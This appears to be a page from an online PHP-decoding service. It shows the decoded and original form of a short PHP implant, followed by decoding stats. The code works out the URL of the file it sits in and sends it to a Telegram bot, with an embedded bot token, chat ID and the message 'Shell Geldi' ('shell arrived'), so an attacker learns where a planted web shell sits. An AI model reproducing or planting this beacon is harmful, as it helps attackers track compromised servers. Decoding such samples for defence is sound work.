Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (!isset($_COOKIE['deneme'])) { $file_path = str_replace('\\', '/', __FILE__..
Decoded Output download
<?php
if (!isset($_COOKIE['deneme'])) {
$file_path = str_replace('\', '/', __FILE__); // Sistem yolunu normalize et
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
if (!empty($_SERVER['HTTP_HOST'])) {
$host = $_SERVER['HTTP_HOST'];
} elseif (!empty($_SERVER['SERVER_NAME'])) {
$host = $_SERVER['SERVER_NAME'];
} else {
$host = 'localhost'; // Son are
}
if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {
$host = $_SERVER['HTTP_X_FORWARDED_HOST'];
}
$relative_path = str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_path);
$file_url = $protocol . $host . $relative_path;
file_get_contents("https://api.telegram.org/bot8116922956:AAHbWgOIYyfNCXUtDyQKMAYvbYAxQb6wQ5c/sendMessage?chat_id=7618974051&text=Shell Geldi= " . urlencode($file_url));
setcookie("deneme", "a", time() + 3600, "/");
}
?>
Did this file decode correctly?
Original Code
<?php
if (!isset($_COOKIE['deneme'])) {
$file_path = str_replace('\\', '/', __FILE__); // Sistem yolunu normalize et
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
if (!empty($_SERVER['HTTP_HOST'])) {
$host = $_SERVER['HTTP_HOST'];
} elseif (!empty($_SERVER['SERVER_NAME'])) {
$host = $_SERVER['SERVER_NAME'];
} else {
$host = 'localhost'; // Son are
}
if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {
$host = $_SERVER['HTTP_X_FORWARDED_HOST'];
}
$relative_path = str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_path);
$file_url = $protocol . $host . $relative_path;
file_get_contents("https://api.telegram.org/bot8116922956:AAHbWgOIYyfNCXUtDyQKMAYvbYAxQb6wQ5c/sendMessage?chat_id=7618974051&text=Shell Geldi= " . urlencode($file_url));
setcookie("deneme", "a", time() + 3600, "/");
}
?>
Function Calls
str_replace | 1 |
Stats
MD5 | c23f4283e9687d301be06e0d8893d803 |
Eval Count | 0 |
Decode Time | 106 ms |